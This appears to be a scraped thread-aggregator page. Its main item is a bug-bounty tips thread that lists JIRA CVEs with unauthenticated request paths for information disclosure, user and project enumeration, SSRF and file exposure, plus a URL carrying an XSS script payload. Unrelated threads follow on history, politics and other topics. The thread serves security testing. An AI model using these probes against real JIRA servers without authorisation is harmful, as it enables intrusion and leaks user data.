BC SOFTWARE

Saved by @CodyyyGardner

Harsh Bothra
@harshbothra_ 5 years, 5 months ago 1856 views

Save to PDF Share See On Twitter

#Learn365 Day-4: Unauthenticated & Exploitable JIRA Vulnerabilities

There are multiple security vulnerabilities associated with the various versions of JIRA software which are exploited in wild and is one of my personal favourite 3rd Party apps to hunt.

#BugBountyTips

(1/n)

(2/n)
1. CVE-2020-14179 (Information Disclosure)
a. Navigate to /secure/QueryComponent!Default.jspa
b. It leaks information about custom fields, custom SLA, etc.

2. CVE-2020-14181 (User Enumeration)
a. Navigate to /secure/ViewUserHover.jspa?username=

(3/n)
3. CVE-2020-14178 (Project Key Enumeration)
a. Navigate to /browse.
b. Observe the error message on valid vs. invalid project key. Apart from the Enumeration, you can often get unauthenticated access to the project if the protections are not in place.

(4/n)
4. CVE-2019-3402 (XSS)
a. Navigate to /secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search

5. CVE-2019-11581 (SSTI)
a. Navigate to /secure/ContactAdministrators!default.jspa

(5/n)
6. CVE-2019-3396 (Path Traversal)
7. CVE-2019-8451 (SSRF)
a. Navigate to /plugins/servlet/gadgets/makeRequest?url=https://:[email protected]
8. CVE-2019-8451 (SSRF)
a. Navigate to /plugins/servlet/gadgets/makeRequest?url=https://:[email protected]

(6/n)
9. CVE-2019-8449 (User Information Disclosure)
a. Navigate to /rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
b. Observe that the user related information will be available.

(7/n)
10. CVE-2019-3403 (User Enumeration)
a. Navigate to /rest/api/2/user/picker?query=
b. Observe the difference in response when valid vs. invalid user is queried.

(8/n)

11. CVE-2019-8442 (Sensitive Information Disclosure)

a. Navigate to /s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
b. Observe that the pom.xml file is accessible.

(n/n)
Tools: Nuclei Template can be used to automate most of these CVEs Detection.
H1 Reports:
- https://t.co/AaXKHt4NZZ
- https://t.co/hNrzpDgB5A
Blogs:
- https://t.co/ZMVc80vrYQ

More from Software

Griffin - Live Protest...
@GriffinMalone6

Found your neighbor on Parler map and want to see what video they posted, here's how.

Here is an easy to follow step by step guide on how to locate your neighbors who used Parler and then view and Download the videos they posted. A thread.

$Jared Naude @ rC3 \U0001f680$

Jared Naude @ rC3 🚀...
@JaredNaude

Infrastructure review #rc3

There were only 18 heralds for all the talks. It was really hard to pull off, this conference also started a news show. #rc3

Next is the heaven team. 1487 total angels volunteered of which 710 arrived. 76 weeks worth of work hours were done by the angels. They prepared a few goodies for the RC3 world. Badges were given to show angels. Tried to keep traditions from the conference on RC3 world. #rc3

Huge thanks to all the angels who volunteered. This conference would not be possible with the help of everyone. #rc3

Next team is the signal angels, this is the first time that people had to do remote Q&A. The procedure was quite different to the in person event. There were 157 shifts filled by 61 angels. There were 5 unfilled shifts. #rc3

Advertisement

John Mashey
@JohnMashey

@mattblaze AFAIK the only group to discover Ken’s hack was us in PWB/UNIX. One of the other guys noticed C prepreprocessor had gotten bigger, looked at binary namelist, found symbol not in source code. I got onto Ken’s system, found the code, very clever.

A bit latet, I was in Lab 127’s terminal room, talking to dmr or bwk, and overheard amusing conversation between ken and Robert Morris Sr, who sometimes consulted for NSA.
(RM Jr of worm fame was just a kid then.)

They were chortling away over cleverness of exploit. Then one (must have been ken) said “think we could put this over on NSA?” (which already had UNIX systems... we did favors now and then).
More chortling, then (must have been Bob): uhh, NSA really doesn’t have sense of humor.

PWB crew ran 1st real UNIX computer center & we were hyper-sensitive, partly because someone had called at night, told operator he was Ken Thompson & needed root password ... and got it. Turned out to be high schooler ... proving that social engineering tactics have been eternal.

Years later, as many BTL Directors were buying PDP11-70s for labs as general service systems, some PWB crew were asked to do security audits, given experience running biggest UNIX site. One lab was very proud of enhanced password software.
We did audit, agreed with that, BUT:

Jessica G. Young
@JessGeraldYoung

@JuliaLMarcus @Iplaywithgerms This paper gives documentation on software (with causal reasoning, assumptions reviewed in appendix) for a parametric approach to estimating either "total effects" or "controlled direct effects" with competing events and time-varying

@Iplaywithgerms Total effects capture paths by which treatment affects competing event (e.g. protective total effect of lifesaving treatment on dementia may be wholly/partially due to effect on survival). Controlled direct effects do not capture these paths

@Iplaywithgerms More detailed reasoning on the difference and tradeoffs between total and controlled direct effects and causal reasoning in the point treatment context provided here along with description of some estimators and

@Iplaywithgerms If you are familiar with more robust approaches like IPW or even better TMLE for time-varying treatment, these are trivially adapted to go after the controlled direct effect by simply treating competing events like loss to follow-up (censoring). e.g.

@Iplaywithgerms Examples of IPW estimation of the total effect of a time-varying treatment described in Appendix D of this paper:
https://t.co/RNhcgTBMkb
And here
https://t.co/rMWmwFBWwV
Others in reference lists of above papers.

GSK | https://secure.a...
@gosokkyu

forgive my indulgence but 2020's been a big year for @shmuplations, so here's a look back at everything that went up over the last twelve months—there's a lot of stuff I'm sure you all read & other things you'd be forgiven for missing, so let's recap (thread)

the year kicked off with shmuplations' first big video project: a subtitled translation of a 2016 NHK documentary on the 30th anniversary of Dragon Quest which features interviews with Yuji Horii, Koichi Nakamura, Akira Toriyama, and Koichi Sugiyama https://t.co/JCWA15RTlx

following DQ30 was one of the most popular articles of the year: an assortment of interviews with composers Yuzo Koshiro and Motohiro Kawashima concerning the music of Streets of Rage 1, 2 & 3 https://t.co/QUtyC9W12Z their comments on SoR3 in particular were full of gems

Game Designers: The Next Generation profiled six potential successors to the likes of Shigeru Miyamoto & Hironobu Sakaguchi, some of who you may recognise: Kazuma Kaneko, Takeshi Miyaji (1966-2011), Noboru Harada, Kan Naitou, Takashi Tokita & Ryoji Amano https://t.co/lWZU3PLvwX

from the 2010 Akumajou Dracula Best Music Collections Box, a subbed video feature on long-time Castlevania composer Michiru Yamane https://t.co/NMJe4ROozR sadly, Chiruru has since passed; Yamane wrote these albums in his honor

https://t.co/orlgPTDsKK

https://t.co/QnQl8KI9IX

You May Also Like

Pegasus of Dharma
@HarduttSuhas

The BATTLE OF PAVAN KHIND (13 July 1660)

300 MARATHAS against 10000+ ADIL SHAHI TROOPS

A Sparta style last man stand at a mountain pass which ensured Shivaji Maharaj's safety.

Valour, loyalty and sacrifice!

Baji Prabhu Deshpande was one of the most able lieutenants of Shivaji. He sacrificed his life defending Shivaji in a heroic last stand known as the "Battle of Pavan Khind" in which his force was hugely outnumbered.(1)

In this battle he became a martyr, but managed to halt the enemy forces for several hours, which secured Shivaji’s safety and victory on another front. Without this heroic last stand Shivaji’s glorious career may have been cut short.(2)

Baji Prabhu was senior to Shivaji. In the beginning he opposed Shivaji being from a rival Maratha clan, but realised that Shivaji stood for national resurgence. Henceforth he became a friend and loyal supporter of Shivaji.(3)

In 1660, Shivaji was trapped in the fort of Panhala, under siege and vastly outnumbered by an Adilshahi army led by general Siddhi Jauhar.(4)

sriram
@SriramKannan77

12 Azhwars (Alwars)

The 12 Azhwars, (the Main composers of Naalayira Divya Prabandam - 4000 poetic Rhymes) are known as Nityasuris or Divyasuris; those who reside permanently with the Lord in His Heavenly abode.

They have incarnated as Azhwars -Vasihnavite Saints - to propagate Bhakthi Marga, devotion to Lord Vishnu.

Alwars have dedicated their lives towards Lord Sriman Narayana and they led their life by praising Him.

These Alwars were born in various parts of our country but they were all united in a common subject, ie dedicating their lives and praising the Lord.

Poigai Alwar, Bhoodath Alwar and Pei Alwar are collectively called as "Mudhal Alwars" were found in the same period of time.

Thirumazhisai Alwar, who thought the Perumal as his friend and has sung Mangalasasanam on Perumal.

Thirumangai Alwar was a great king and later, changed his life to work for the Perumal and for his bhaktaas.

Thondaradippodi Alwar, who is also named as "Vipra Narayanar" led his life as the servant to the God and did service to Him by offering beautiful Garlands.

Advertisement

History Under Your Fee...
@HUFToday

#TodayInHistory Ram Prasad Bismil,Ashfaqullah Khan and Roshan Singh are hanged in 1927, as they give up their life for the cause of freedom and inspire many a revolutionary. #LestWeForget

Shahjahanpur was a hub of revolution during the freedom struggle. Most of the revolutioaries in the North, were from this town. And among them, the most famous were two friends, whom destiny would bring together- Ram Prasad Bismil and Ashfaqullah Khan.

Ashfaqullah Khan was born at the turn of the 20th century on October 22, while Bismil was born 3 years earlier on June 11, in the same town. Both of them were excellent writers in Urdu and Hindi.

Both of them would come together under the Hindustan Republican Association, not to mention the fact that Ashfaq was an admirer of Bismil’s poetry, and became close friends with him on that account.

And both these men were hanged on the same date, December 19, 1927 for their involvement in the Kakori event. Two men from different religions, different backgrounds, yet destiny would bring them together.

Pegasus of Dharma
@HarduttSuhas

THE EVOLUTION OF OUR NATIONAL FLAG (1857-1947)

The INDIAN NATIONAL FLAG is not just a flag! It's a testimony of patriotism and seamless sacrifice. A symbol representing one of the oldest civilizations on this planet.

Let's hope what happened yesterday never repeats!

(Thread)

After the revolt of 1857, the first Indian flag was designed. The design was based on western heraldic standards with "Union Jack" in the upper-left quadrant and a "Star of India" enclosed in the royal crown in the middle of the right half.(1)

The flag was a symbol of the direct imperial rule in India.(2)

In 1904 the first Indian flag which stood for India's independence from the British was devised. The design was provided by sister Nivedita, an Irish disciple of Swami Vivekananda.(3)

The flag was red and yellow with an image 'Vajra' (weapon of god Indra). The phrase 'Vande Mataram' was written in Bengali on it. The red colour and the yellow colour signified freedom and victory while the symbol of vajra stood for strength.(4)

STEALTH JEFF
@drawandstrike

Ok I was wrong about theHouse. 2 years of legislative gridlock = not fun. Few bills passing.

Control of the House is useless when it comes to keeping Trump from declassifying all the SpyGate docs. Or stopping an Inspector General from releasing a report.

Trump still gets control of judicial appointments so we can expect another 100 judges over the next two years. This time there’ll be no McCain or Flake playing the Maverick role with their swing vote.

That new margin in the Senate is huge if another Supreme Court seat comes open.

So from the responses I’m getting, people seem to think if Trump declassifies the Spygate stuff now, nothing happens.

Are you under the impression federal prosecutors have to wait until CONGRESS finishes an investigation and makes criminal referrals before the DOJ can act?

There’s a federal grand jury on McCabe right now. Did Congress ever finish it’s investigation and make a referral to the DOJ against him?

No.

BUT INSPECTOR GENERAL HOROWITZ DID. On finishing his McCabe leak report.

Funny how nobody remembers that.